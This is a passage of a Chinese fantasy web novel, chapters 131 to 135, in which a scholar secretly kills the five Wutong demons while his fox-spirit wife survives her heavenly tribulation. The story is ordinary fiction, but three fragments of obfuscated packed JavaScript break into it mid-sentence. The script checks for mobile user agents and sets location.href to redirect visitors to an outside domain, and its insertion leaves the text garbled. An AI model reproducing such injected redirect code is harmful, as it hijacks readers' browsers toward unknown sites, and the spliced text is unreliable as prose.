“慢着!几位,我死不足惜,你们高抬贵手,放过那些无辜的村民!他们都是手无缚鸡之力的普通人,跟这件事毫无关系!!” 黄袍男子叹了口气,似乎对童正的冥顽不灵感到万分失望,抬起手,指了指不远处的一户人家。 “老四,先从那家开始动手吧。记住,一个呼吸杀一个,直到这老头子想起来为止。” “嘿嘿嘿,我早就等不及了!”矮胖男子目光发亮,圆滚滚的身子一晃,便要朝着那户人家飞去。 “住手!我说,我说!”童正目眦欲裂,嘶声喊道。 “老四,回来。”黄袍男子眉头微挑,开口说道。 “……” 圆滚滚的身子顿住,片刻后才不情不愿地折转回来,一脸怒气地盯着童正。 “老东西,为何不再嘴硬一会儿,让老子先杀几个人过过瘾?!” “好了,别废话,”黄袍男子冷声道,“说吧,是谁杀了我们六妹。” “你们先发誓,若我说出他的身份,绝不伤害这里任何一个村民。” “你也配和我们谈条件?”瘦高男子冷诮一笑。 童正咬牙道:“若不答应,我宁死不说!” “想死便成全你!”独臂男子眼底杀意森然,踏上一步,便要一拳轰杀童正。 “老五,住手!”黄袍男子喝止了他,看着童正,“可以,我们要找的只是杀六妹之人。” “你发誓。”童正坚持道。 黄衫男子双目微眯,周身散发出令人心悸的威压,“休要得寸进尺,我乃五通神之首,我说的话,自然作数。” 童正被这股威压压迫得几乎喘不过气,半晌才颤声道,“好,我说……”他顿了顿,艰难地说道,“只是……那人此刻并不在白崖村。” 矮胖男子顿时大怒,“老东西,还在耍我们?!” ”不,不是 ,“童正深吸口气,从怀中取出一片碧绿的树叶,“他临走前曾将这树叶给我,说若是白崖村有事,便可捏碎这片树叶,他自会赶来。” 黄袍男子眯起眼睛,“当真?” 童正默然点头。 黄袍男子沉吟片刻,一抬手,那片树叶便飞到了他的手中,他仔细端详,果然发现上面有些奇异的波动。 于是,他将那片树叶捏碎。 树叶化作点点绿光,消散在空气中。 “我在这里等上一刻钟,若一刻钟之后,他没有出现……”黄袍男子的目光,冰冷地扫过童正,以及他身后的白崖村,语气森然,“你,和这村中的所有人,便都要都为六妹陪葬!” 说完,他走到一块石头前坐下,闭目养神。 “大哥,你真信这老家伙的话?那人又不是傻子,怎么可能明知有危险还主动送上门来?”矮胖男子恨恨地瞪着童正,满脸的不甘。 “闭嘴。”黄袍男子冷冷道。 余下三妖也默不作声了,在一旁静静地等待着。 第132章 拖延一炷香! 夜空被浓重的墨色云层遮蔽,压抑得仿佛让人喘不过气来。 偶尔几道闪电划破天际,将漆黑的夜空照得惨白,如同鬼魅一般。 “轰隆——” 一声巨响,仿佛要将整个天地都撕裂开来。 长陵城内的不少修士早已被惊动。 “这附近有妖怪在渡劫?” “白色的劫雷……应该不是什么凶妖。” “话虽如此,还是去看看为妙。” “走,去看看!” 一时间,不少修士都按捺不住心中的好奇,纷纷飞身出城,朝着雷劫汇聚之处赶去。 然而,当他们靠近时,却发现眼前一片迷雾茫茫,根本看不清前方的景象,无论他们用什么方法,似乎都在同一片不大的区域中打着转。 其中还有几名魂宫境的修士,同样也对这片迷雾束手无策。 “怎么回事?怎么会有这么大的雾?” “别说是雾了,我连神识都探查不出去,这里面好像有什么东西在干扰我的感知!” “难道是渡劫之人布下的阵法?好强的手段,竟然连我们的神识都能屏蔽!” 而此刻,陈子均则是正置身于迷雾幻阵的中心,他特意动用了上次从长陵幻境里得来的蜃珠,从而制造出这片巨大的迷雾幻阵,就是为了不让任何人打扰到胡翘翘渡劫。 他虽有手段替胡翘翘完全抵挡住劫雷,但却不能一开始便这么做。 因为妖怪必须要借助劫雷之力的洗礼,体内的妖力才能发生蜕变,成功凝珠,进入到下一个阶段。 所以,除非胡翘翘真的到了无法抵抗的危急之时,否则他不能随意出手干预、 他抬起头,透过厚重的迷雾,看向了头顶那翻滚的雷云。 “要来了……”他喃喃道,“娘子,加油啊。” 雷云的正下方,胡翘翘盘膝而坐,她紧闭着双眼,娇俏的小脸上一片肃穆,长发和睫毛都在飞舞而动。 咔嚓—— 雷光像是一口利刃劈开夜幕,直直落下。 整个世界瞬间变得一片雪亮,胡翘翘本就雪白的肌肤,此刻更是被雷光映照得如同透明一般,在劫雷到来之时,她身上的长裙猛地发出一层淡金色的光芒,抵挡住了大部分劫雷的威力。 尽管如此,胡翘翘依然被残余的雷电击中,她闷哼一声,娇小的身躯微微颤抖,一部分雷劫之力冲入她的魂海,带来难以忍受的剧痛,但也同时淬炼着她的妖力,让她变得更加强大。 “第一道劫雷,总算是过去了。” 陈子均见状,心中稍稍松了一口气。 忽地,他心中一凛,一股寒意涌上心头。 当初他离开白崖村时,交给童正的那片树叶被捏碎了! “不好,白崖村出事了!” 陈子均猛地转头,目光望向白崖村的方向,眼神瞬间变得无比凌厉。 怎么会这么巧?偏偏是在这个时候! 若他施展传送神通,回到白崖村只是眨眼之间,但现在正是胡翘翘渡劫的关键时刻,他根本无法抽身离开。 怎么办…… …… 百里之外。 此时,玉珠儿正舒舒服服地躺在蛛丝编织的吊床上,做着长高了的美梦。 梦里,她不再是那个小小一只,而是变成了亭亭玉立的大妖怪,追着那些曾经嘲笑她矮的妖怪们满世界跑。 “玉珠儿!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14893002|159967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 一个突如其来的声音,在她耳边炸响。 “啊!”玉珠儿被吓得从美梦中猛然惊醒,八只小短腿在空中乱蹬,差点没从蛛网上掉下来,“谁啊,打扰人家睡觉,不知道睡觉的时候不能随便打扰人家小姑娘吗?会长不高的!” “别胡闹,我有事找你!”陈子均的声音再次传来,语气急促而严肃。 玉珠儿一个激灵,彻底清醒过来。 她睁大八只复眼,四处张望,却不见陈子均的身影。 “大坏蛋,你在哪呢!” “我不在这一带,现在是用神念和你说话!” “哦,你找我有事吗?” “白崖村可能有危险,我现在走不开,你替我去看看!” “白崖村?那个穷乡僻壤的地方,能有什么危险……本姑娘好不容易睡个好觉……” “可能是五通妖。” “五、五通妖?!”玉珠儿顿时小脸煞白,“大坏蛋你是不是疯啦,让我去对付五通妖?那不是送羊入虎口嘛!” “他们去的不是本体,只是化身罢了。”陈子均的语气稍缓,“而且,你也不用跟他们硬拼,只要尽量拖延时间,等我这边一结束,就会立刻去解决此事。” “那也不行呀大坏蛋……”玉珠儿可怜兮兮地道,“就算是化身,它们也比我强太多了,何况还有五个……” “少废话,赶紧去!”陈子均不为所动,“我知道你吞噬了梦魇,也不管你用什么法子,给我拖上一炷香的时间!” 玉珠儿咬着嘴唇,左右为难。 一边是可怕的五通妖,一边是更可怕的大坏蛋…… 唉,她只是一只弱小无助的可怜小蛛妖,为何要做这么恐怖的选择呀? 第133章 不过如此 眼见大哥被击飞,三妖皆是一惊,连忙上前。 “大哥,你没事吧?” “何方神圣,胆敢伤我们大哥!” 将黄袍男子扶起,三妖瞪着法海,眼中凶光毕露。 法海踏前一步,将玉珠儿护在身后,神情冷峻如罗汉怒目。 “贫僧金山寺,法海。” “法海?!” 听到这个名字,三妖皆是一愣,随即神情惊疑不定。 这名号,他们亦有耳闻,据说对方常年游历世间,降妖伏魔,还有传闻说他是转世佛子,如今已累积多世的修行,实力深不可测,是当世佛门第一人! “原来是法海大师。”黄袍男子站直了身子,抬手抹去嘴角边溢出的一丝鲜血,语气中带着几分忌惮,“早闻大师佛法高深,在下向来心甚往之,今日得见,果然名不虚传。” 法海伫立原地,神色不动地扫视着眼前的几妖,心中暗自思忖。 他亦是看出,此刻出现在他眼前的,只是五通妖的化身,修为不高,即便联手,他也不惧。但就算他将他们消灭,也无法根除,只怕日后还会引来无穷祸患,也不知道小蛛妖是怎么惹上了他们。 他心中虽有顾虑,面上却不露声色,只淡淡道:“阿弥陀佛,少许虚名,不足挂齿。” “大师,我且问你,杀死我们六妹的,可是你?” “你们六妹?五通娘子?”法海一怔,摇头道:“并非贫僧所为。” 黄袍男子冷笑一声,“既然不是大师,那大师为何要插手此事?莫非,大师与那杀人凶手,是旧识不成?” “这位玉施主与我佛门有缘,算是贫僧的旧识。何况,她方才说,几位还要伤害那村中百姓,贫僧身为佛门弟子,又岂能坐视不理?贫僧奉劝几位,及早罢手,不要滥杀无辜,否则……” 法海顿了顿,禅杖在地上一震,发出“咚”的一声闷响,冷冷道,“也只能让几位,见识一下贫僧的佛门神通了!” “好嚣张的和尚!”瘦高男子哼了一声。 独臂男子则是已经面露杀意,“我就不信他真有传闻中的那般厉害,四哥,我们一起联手对付他!” “好!”矮胖男子摩拳擦掌。 “慢着!”黄袍男子一抬手,阻止了两妖。 他深吸一口气,强行压下心头怒火,目光灼灼地逼视着法海,一字一句地说道,“法海大师,我等兄弟本无意与你为敌,但此事关乎六妹的性命,我等不得不查!” “冤有头,债有主,我们只想找到杀害六妹的凶手!只要大师能将那梦魇妖交给我,今夜之事,我等兄弟既往不咎!不仅如此,白崖村众人,我们也能一并放过,绝不伤及无辜,如何?!” 玉珠儿一听这话,顿时紧张了起来,在后面可怜兮兮地扯着法海的袈裟,小声道:“和尚,你不会将我交出去的吧?” “阿弥陀佛,令妹之死,虽令人惋惜,但亦是她咎由自取。”法海双手合十,语气平静如水,“贫僧若在当场,亦会出手诛之。杀她之人,乃替天行道,贫僧岂能让尔等,去为难一位行侠仗义的英雄?” 玉珠儿松了口气。 “你……你!”几妖顿时勃然大怒,这法海,竟敢说他们的六妹死有余辜?!还对那凶手百般维护?! “好,好,好!”黄袍男子怒极反笑,指着法海道,“法海,你很好!既然你如此不识好歹,那就别怪我们兄弟不客气了!” “大哥,别跟他废话了,直接动手!”矮胖男子早就按耐不住,纵身跃起,突然变成一只巨大的癞蛤蟆,身形暴涨,化作一只巨大的癞蛤蟆,张口一吐,便是一团遮天蔽日的毒雾,所过之处,草木枯萎,生机断绝。 与此同时,那独臂男子、瘦高男子也各使手段,大量法宝和术法,狂风暴雨般朝着法海轰击而去。 法海不躲不闪,只是眯起长眸,低喝一声、 “雕虫小技,看我的袈裟!” 他身上的袈裟顿时金光大盛,脱落飞出,变得如能覆盖住整片天地一般,无论是黑雾、法宝和术法,都被这袈裟尽数挡下。 毒雾碰到袈裟,竟如雪花落入沸水之中,滋滋轻响后,消洱无踪。 紧接着,袈裟又是一卷,那些法宝竟然倒飞而回。 三妖措手不及,反而一时狼狈不堪。 “我来领教高招!”黄袍男子冷哼一声,周身黑气涌动,凝成一只遮天巨掌,带着排山倒海之势,朝着法海当头拍下。 法海面色不变,袈裟再次挥动,金光与黑气碰撞在一起,发出一声震耳欲聋的巨响。 “大威天龙!” 法海又一声暴喝,袈裟猛然一抖,一股浩瀚磅礴的佛门力量如怒海狂涛般汹涌而出,将黄袍男子震退数步。 黄袍男子稳住身形,眼中露出凝重的神色。 余下三妖亦是如此。 他们虽然只是五通神的化身,但实力也不容小觑,没想到这法海竟然如此厉害,轻描淡写之间便挡下了他们的联手攻击。 法海平静地道:“几位有什么本领,尽管使出来吧,贫僧奉陪到底。” “大哥,这秃驴有些道行,硬拼的话,咱们几个恐怕不 是对手啊!”矮胖男子面色难看。 那独臂男子也忌惮之极,“除非让咱们的本体亲自过来,否则恐怕是难以取胜。” 黄袍男子盯着法海,目光中的阴冷几乎化为实质。 “和尚,你有没有想过,就算今夜你护住了那小蛛妖,你还能护她一世不成?”他语气森然,“过些时日,我五兄弟重返此处,别说是这小小的白崖村,便是方圆百里,都要化作一片焦土!这所有的罪孽,可都要算在你的头上!“ 法海仍旧不为所动。 “几位施主杀孽深重,却妄想将罪责推脱于他人,”他语气淡然,却字字如雷,“你们若执意滥杀无辜,最终承受果报的,也只会是你们自己,与贫僧何干?” 躲在法海身后的玉珠儿忍不住探出小脑袋,冲着四妖扮了个鬼脸,“就是,杀人的是你们,还想赖在和尚头上!” “好!很好!”黄袍男子怒极反笑,眼中凶光大盛,“我们兄弟几个,这就去屠一百个城镇,用百万生魂,来祭奠我那可怜的六妹!” 说罢,他大手一挥,就要带着其他三妖离去。 玉珠儿忽然一愣,对了,大坏蛋可是让她拖住他们,没说让他们走掉。 “哎!别走啊!”她连忙喊道,“再过半柱香的时间,那人可就来了!你们这就要走了?不找他算账了么?” 原本正要远去的四妖,身形齐齐一顿。纷纷回头看向玉珠儿。 黄袍男子转眯起眼,盯着玉珠儿,“小丫头,你在说什么?那人,真敢来?” 法海眉头微皱,刚想开口,却被玉珠儿拉了拉衣角。 “放心吧,和尚,大坏蛋很厉害的!”她又扭头看向五通妖,脆生生道,“你们等半柱香的时间不就知道了?我劝你们最好乖乖待在这里,若是错过了,可就别怪我没提醒你们!” 黄袍男子眉头微皱,狐疑地看向玉珠儿。 “大哥,这小妖怪有恃无恐的,难道她有信心,那人足以对付我们几兄弟?”矮胖男子有些拿不定主意。 “何况,还有个法海在这里,就算那人来了,我们估计也不能将他如何。”瘦高男子道。 “无妨,等就等,我定要知道那人的真实身份。”黄袍男子冷哼一声,“何况,他再厉害,也只能杀了我们这几具化身罢了,又能奈我们本体如何?” 其他三妖见状,也纷纷点头称是。毕竟,只要能知道杀害六妹的真凶是谁,他们就还有报仇雪恨的一天。 …… …… 劫雷一道又一道地落下,如今已经来到了第八道。 在劫雷之力的作用下,胡翘翘体内的太阴星力在疯狂凝结,它们变得越来越博大精深,越来越纯粹如一! 她的神魂、太阴星力,甚至肉身都在不断的提升,神魂坚韧,法力也越来越深厚,开始要凝结成一颗圆圆的妖珠! 与此同时,因为她修炼的是太阴星力、本就有着修复神魂,滋养肉身的功效,她的命魂和肉身虽然因为劫雷受了伤害,但同时也在不断得到修复,每一次,都比之前要强韧一分! 正因此,虽说接连遭受了八道劫雷,但胡翘翘所受的伤,却并未到伤筋动骨的程度! 终于,最后一道劫雷,裹挟着毁天灭地的威势,穿透云层,朝着胡翘翘当头劈下! “来吧!”胡翘翘猛地睁开双眼,银牙紧咬,将体内所有的太阴星力尽数调动起来,毫不畏惧地迎向了那道恐怖的劫雷! 轰隆隆! 震天动地的巨响过后,天际的雷云终于缓缓散去,一缕柔和的月光穿透云层,温柔地洒落在胡翘翘身上,仿佛是在抚慰她疲惫的身躯。 小狐狸舒服地眯起了眼睛,只觉得那温柔的太阴星力如同春风般拂过,轻轻舔舐着她的伤口,修复着她的身体,提升着她的修为。 她缓缓内视,看着体内澎湃的妖力和那颗晶莹剔透,仿佛蕴藏着无穷力量的妖珠,嘴角不禁勾起一抹愉悦的弧度。 “这就是渡劫后的感觉吗?真是太棒了!” 另一边,看到她顺利渡劫,陈子均心中悬着的石头也终于落地。 “五通妖……”他低声呢喃,一抹寒芒在眼底闪过。 身形一闪,直接消失在原地。 荒山野岭,冷月孤悬,洒下惨白的光辉。 陈子均的身影如同鬼魅般出现。 “现!” 随着他一声低喝,指尖掐动法诀,原本空无一物的半空中,竟如同平静的湖面被投入了一颗石子,涟漪扩散,逐渐扭曲了空间。 很快,一处金碧辉煌的宫殿,缓缓从虚空中浮现出来。 这里,便是五通妖的洞府所在。 陈子均微微一笑,抬起脚,迈入其中,对他来说,那重重禁制竟没有丝毫阻滞,仿佛闲庭信步一般。 大殿之中,灯火通明,四道身影正围坐在一起,各个面色不善。 “半柱香的时间,马上就要到了。”独臂男子正同自己的化身联系,脸色极为阴沉,“杀害六妹之人还没出现,我们该不会是被那小蛛妖耍了吧?!” “哼,那小蛛妖若真敢耍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14893003|159967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们,我定要将她碎尸万段!”矮胖男子的眼中凶光毕露,恶 狠狠地说道。 “老三那家伙,也不知道在搞什么,现在还没回来。”瘦高男子说。 一直沉默不语的黄袍男子,此刻却猛地抬起头,目光如电,死死地盯着大殿入口处。 “什么人?!” “什么?有人来了?!”其他几妖也是一惊,纷纷顺着黄袍男子的视线望去。 然后,他们便看到一个身着青衫的年轻书生,正缓步朝他们走来。 初看到这书生时,他们只觉得对方除了过分的俊美之外,没有什么奇异之处,但再仔细看去,却会发现,对方不光是俊美,尤其是那双黑眸,英华内敛,如宝剑在鞘,如深海内的冰山,但随时可能亮出锋芒和寒意。 而此刻,这双黑眸中的目光,正淡淡地从几妖的身上扫过,平静无波,仿佛在看待蝼蚁一般,毫无半点波澜。 几妖面面相觑,皆从对方眼中看到一抹惊疑不定。这书生看着斯斯文文,周身气息却深不可测,竟能悄无声息地穿过他们设下的禁制,可见绝非等闲之辈! “你是什么人?!”瘦高男子忍不住问道,语气中满是警惕,“又是怎么进来的?” 书生闻言,嘴角微微上扬,勾起一抹如沐春风的弧度,仿佛冰雪消融,万物复苏。 然而,与这抹笑意形成鲜明对比的,却是他那双依旧清冷淡漠的眼眸,如同九天之上的星辰,遥远而不可捉摸。 “你们不是一直在等我吗?怎么,我来了,你们反倒不认得了?” 五妖闻言,皆是一愣,这书生的话是什么意思? “在等你?” “什么意思?” “我们又不识得你,怎么会在等你?” 黄袍男子却猛地抬起头,死死盯着陈子均,“原来如此,你就是杀了六妹的人!” “总算有个聪明点的了。”陈子均微微一笑。 “你,你怎么会找到这里?!”几妖则眼中满是不可置信。 这处隐秘的洞府,是他们五兄弟本体的藏身之处,从未对外人透露过,这人是如何得知的?! 陈子均只是轻笑一声,随手将一个身影丢在地上。 “三弟/三哥?!”四妖定睛一看,顿时惊呼出声。 躺在地上的,正是之五通妖中的老三,白鹤神君。 但此刻的他,面色苍白,气息奄奄,显然受了不轻的伤。 “你对他做了什么?!”独臂男子目眦欲裂。 “只是问了他一些问题。”陈子均语气平淡,仿佛只是做了一件微不足道的小事,“可惜他不太配合,我就只能在他的记忆里搜索了一下。” “你竟然会搜魂?!”五妖又惊又怒。 搜魂之术,是一门极为少见的上古神通,据说会施展之人寥寥无几,即便是他们也不懂。 更可怕的是,这搜魂之术会对神魂造成难以修复的损伤,白鹤神君虽保住性命,但将来修为必定大损。 “怎么,不行吗?”陈子均神色淡漠,嘴角勾起一抹嘲讽的笑容,“你们和五通娘子杀害无辜之人,肆意妄为的时候,难道没想过会有今日?!” “很好,”黄袍男子眼中杀机毕露,妖气不断攀升,从耳中抽出一根铁棒法宝,五指缓缓握紧,“正好,六妹和老三的仇,今日便一起报了。” …… …… 白崖村,夜幕低垂。 法海替童正包扎好了断臂,又问道,“你这断掉的手臂,能再生吗?” 童正点了点头,低声道:“不打紧,过段时间,便能自己长出来的。” 法海又抬头看了眼头顶的夜空,眉头紧紧地拧起,“玉施主,半柱香已经过了,你说的那人真的会来么?” “大坏蛋说了会来,应该就会到的……”不知何时,玉珠儿从怀中摸出了个鸡腿,一边啃着,一边含糊不清地说道,“也许是有什么事情耽搁了……” 她话音未落,突然,不远处的四妖化身,一个个都露出了惊恐万状的表情,仿佛看到了什么极其恐怖的东西一般,一个个发出肝胆俱裂的惨叫。 “不、不要!” “啊!” “该死、该死的书生!” 伴随着凄厉的惨叫,四妖的身躯竟在瞬间爆裂开来,化作漫天血雾! “啪嗒”。 玉珠儿手中的鸡腿掉落在地,小嘴惊讶地张成了“O”型。 童正亦是目瞪口呆,难以置信。 法海则定在原地,目光凝固,半晌才从震惊中回过神来,喃喃自语:“这……这究竟是怎么回事?!” 玉珠儿回过神来,看着沾满尘土的鸡腿,顿时垮下小脸,哀嚎道:“哎呀,我的鸡腿!都弄脏了!” …… 五通妖的洞府内,浓重的血腥味弥漫在空气中,陈子均负手而立,周围是五具横七竖八的妖怪尸体。 一只猿猴,一匹野驴,一只白鹤,一只蛤蟆,还有一头野猪。 他轻轻弹了弹衣袖上沾染的一点血迹,淡淡道,“我还以为有多厉害,不过如此。” 第134章 乡试开始 “阿弥陀佛……”看着四妖化身的尸首,法海低声念了一句佛号。 以他的实力,自然无需进一步确认,便能肯定它们已经彻底断气。 “难道,是五通妖的本体出事了?”法海拧眉猜测,却难以置信。 毕竟五妖中为首的那只六耳猕猴,已步入神通境,已是当世少有的强者,其余四妖的实力亦是同样不弱。 五妖联手,即便是他,胜算也不过六七成,何况,从方才四妖化身临死前的表现来看,他们的本体显然是在极短的时间内被人一举击溃,甚至连逃脱的机会都没有 法海自忖,若换做是他自己,恐怕也无法轻易做到。 “能如此轻易地解决掉五通妖,此人绝非等闲啊……”法海的心中掀起了惊涛骇浪,喃喃道,“真不知究竟是何方神圣?” “你没听到他们方才喊着书生么?”玉珠儿边将手中剩下的半个鸡腿连肉带骨头一起塞进嘴里,边含含糊糊地说,“肯定是大坏蛋干的了!” “大坏蛋?玉施主,这位‘大坏蛋’是什么人?” “大坏蛋就是大坏蛋啊。” “……” 玉珠儿蹦蹦跳跳地走到那几堆碎肉前,得意道,“让你们欺负我,吃掉你们。” 法海脸色一变,“玉施主,你要吃这些?” “对呀。” “妖怪的尸体,怎么可以吃?” “我肚子饿了,猪牛羊的尸体能吃,妖怪的尸体自然也能吃。” “玉施主……” “哎呀,和尚,你就是太迂腐了!反正他们都已经死了,不吃白不吃,浪费多可惜啊!”说罢,玉珠儿又眨巴着大眼,振振有词,“何况,他们都是坏妖怪,吃坏妖怪,就是做好事,积功德,不是么?“ 法海无奈地叹了口气。 …… …… 此刻,大江南北,无数座供奉着五通神像的庙宇,原本香火缭绕,烛光摇曳,一片肃穆神圣,但此时也发生了剧烈的震动。 “咔嚓!咔嚓!” 供奉在神龛中央的五通神像上,突然出现了一道道触目惊心的裂痕。 紧接着,它们轰然崩塌,化作一地碎石。 “怎么回事?!” “发生什么事了?!” 突如其来的变故,引起了无数信徒的惊慌失措。 而五通神庙,也一直是不少正道修士们关注的目标,在发现这一幕后,修士们亦是纷纷哗然。 “五通神像……碎了?!” “这、这怎么可能?!” “难道说,五通妖他们……” “事关重大,必须立即上报宗门!” …… 与此同时,长陵城内的修士们却无暇再关注今夜渡劫之人的身份了,所有人的心思,全都落在五通妖之上。 不少宗门就近派出人手,前往附近的五通神庙核实。 得到的结果,依然一致。 所有的五通神庙之中,所有的五通神像,全都化作齑粉! 答案不言而喻。 这五个邪神作恶多端,如今伏诛,自然是人心大快。 然而,更让修士们好奇的是,究竟是哪位大能,竟能如此云淡风轻地便将这祸乱世间多年的五通妖神,彻底抹除? 可惜,这个问题,始终没人能给出解答。 就连天星宗的天机星主,尝试用天机盘推演了数次,也依旧没有获得任何线索。 …… 而这一切,胡翘翘浑然不知。 这会儿,她正兴冲冲地从山洞中飞出,打算立马回家,好跟自家相公分享渡劫成功的喜悦呢。 她一愣,“咦?” 不知何时,外面竟笼罩着一片迷雾,什么也看不清。 胡翘翘心中疑惑,径直朝前飞去。 怪了,无论她怎么飞,怎么绕,却似乎都在这迷雾中打转,始终无法脱身。 “这可怎么办啊?相公还在家等着我呢!”小狐狸急的直跺脚。 奇怪的是,原本浓厚的迷雾,仿佛感应到了她的焦急,竟奇迹般地消散了。 胡翘翘心头一松,辨明方向后,轻点足尖,朝着长陵城的方向御风而去。 如今的她,可不是当初那个初出茅庐的小妖了,凝珠成功后,她实力大涨,如今御风而行,速度不知比往日快了多少倍。 大地在她脚下飞速掠过,耳边风声呼啸,原本半柱香的路程,现在盏茶的功夫便能抵达。 一想到马上就能见到心心念念的夫君,胡翘翘心里就像吃了蜜糖一样,甜滋滋的,恨不得立刻飞到陈子均身边,扑进他怀里好好撒个娇。 很快,长陵城遥遥在望。 这时,东方天际已经泛起了鱼肚白,一抹淡淡的红晕渐渐渲染开来,将原本深蓝色的天空染上了一层梦幻般的色彩。 胡翘翘远远望见城门处已有人影晃动,她怕惹人注意,连忙收敛了气息,又施展隐身术,悄无声息地朝自家宅院飞去。 半路上,她忽然看到一个挑着豆腐担的小贩急匆匆地从胡同里走出来,或许是赶时间,步子迈得有些大,一不小心踩到了一滩积水,身子顿时失去了平衡,惊呼一声, 眼看着就要摔个四脚朝天。 胡翘翘见状,想也不想便轻轻挥动衣袖。 一股无形的柔和力量将小贩托起,那担子也稳稳当当地落回了他的肩头。 小贩只觉得一股清风拂过,身子便轻飘飘地站了起来,他疑惑地看了看四周,却没发现任何异样,只当是自己运气好,没摔个狗啃泥,便又乐呵呵地挑着担子继续赶路去了。 胡翘翘目送小贩离去,唇角忍不住弯起一抹愉悦的笑,心中暗自得意。 “嘻嘻,做好事不留名,翘翘是真正的好妖怪!” 心情大好的她,像一只快乐的小鸟,轻盈地飞过长陵城的大街小巷,最后,飞进宅子,轻轻巧巧地在小楼前落下。 正要上楼,胡翘翘忽地想到什么,连忙从储物袋里掏出一面精致的银镜,仔细端详。 镜中人儿发髻微微散乱,衣裙上沾了些许泥土,甚至还有些地方被天雷劈出了焦黑的痕迹,露出些许雪白的肌肤。 “呼,好险……”小狐妖长呼出一口气,连忙开始对着镜子整理仪容。 否则,若是让相公见到自己这么狼狈的模样,一定会心疼不已。 她细心地将自己拾掇得干干净净,漂漂亮亮之后,又照了照镜子,方才放下心来。 一双水汪汪的大眼睛里满是喜悦,唇角高高地翘起。 “嗯,这下没问题啦。” 然后,她提起裙摆,脚步轻快地上了楼,来到卧房前,轻轻推开房门。 “相公!” 然而,房间里却空无一人。 怪了,相公不在卧室,会去哪了? 胡翘翘心中疑惑,又快步走到书房。 “相公?” 依旧没见到陈子均。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14893004|159967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 胡翘翘突然有些不安,她飞快的跑到了园子里。 有时候,相公起得早,也会在园子里照顾那些花花草草。 但走遍了整个园子,她依然没见到陈子均。 小狐狸的脑子里突然炸开了一个可怕的念头:相公……该不会是出了什么事情吧? “相公!” “相公!” 她四处张望着,跑着,叫着。 声音都有些颤抖有些变调,更带上了一丝哽咽。 忽然间,一个熟悉的声音从身后传来。 “娘子,怎么了?” 胡翘翘的心脏瞬间停跳,猛然回头。 陈子均正站在她的身后,一如既往的从容淡定。 她连忙扑进陈子均怀里,像只迷途了许久不知所措的雀鸟,忽然寻觅到了熟悉的巢穴,委屈和后怕化作泪水,模糊了视线。 “相公,你去哪了!” 同时双手紧紧地抓着陈子均的衣襟,生怕一松手,他又会消失不见。 陈子均看着她这副模样,又是好笑又是心疼,抬起一只手,轻轻摸了摸她的脑袋,温声道,“我担心娘子渡劫回来会肚子饿,便去买了些吃的。” 胡翘翘闻言一怔,视线落在陈子均的另一只手上,才发现它正拎着食盒。 “吓死翘翘了。”她长舒了一口气,泪眼朦胧地看着他,“我还以为……” “你还以为什么?”陈子均问。 “我还以为相公出了什么事……”胡翘翘犹豫了一下,小声说。 其实她心中更害怕的是,相公忽然不要她了,抛下她一个人离开了。 陈子均微微笑了笑:“不会的。” “嗯,相公没事就好。”胡翘翘放下心来。 陈子均将她搂在怀里,关心地问,“娘子呢,有没有受伤?” 胡翘翘乖乖摇头,“翘翘没什么大碍。” 紧接着,她又开心起来,甜甜地道,“相公,我成功凝成妖珠了哦,” 一双妩媚的大眼睛亮闪闪的,一副“相公我厉害不厉害,快点夸我”的小表情。 “好了好了,知道我们翘翘最厉害了。”陈子均笑了。 清晨的阳光洒在两人身上,一片静谧温馨。 两人温存许久,才一起去吃了早饭。 …… …… 渡劫成功,胡翘翘和陈子均便都去了一个大心事。 又是几天过去。 乡试的前一天。 胡翘翘在替陈子均清点要带去考场的东西。 笔墨纸砚等文房用品自然是必备之物,但用来乡试的,和平时用的又有些区别。 为了防止作弊,考生们所用的砚台比寻常砚台要薄上许多,水注也必须是瓷所制,毛笔的笔杆则必须是空心的,若不满足条件,就会被以作弊论,取消考试资格。 因为乡试是连考三场,每场三天,一共九天,所以陈子均又准备了替换的几套里衣、棉布巾、睡觉盖的小毯子、用来防蚊虫的香茅、棉花做的耳塞,甚至还有一个小小的煤油炉,用来烧点热水,或是热点干粮之类都很方便。 这几天,长陵城中处处都是卖粽子和桂花糕的。 粽子取的是“包中”的吉祥意头,同时,它们还会被包制成状如毛笔的造型,在糯米中放置枣子,意为必中、早中。 桂花糕则是取的“蟾宫折桂”这个彩头。 除了这两样之外,还有状元 第135章 三宗招生 陆长轩一路走来,周遭的议论声嗡嗡作响,他却恍若未闻。 这样的场景他早已司空见惯,那些带着审视、艳羡、或是嫉妒的目光,他从未放在心上。 他的视线淡淡扫过人群,忽然在陈子均的身上略一停顿。 他一向自诩风姿出众,但此刻看到这人,竟然也有自愧不如的感觉。 ——好在,此人的长相虽好,但才华必然不如自己,倒也不必在意。 陆长轩如此想着,忽地又注意到,他虽然在留意对方,对方似乎却并未分给他半分注意力。 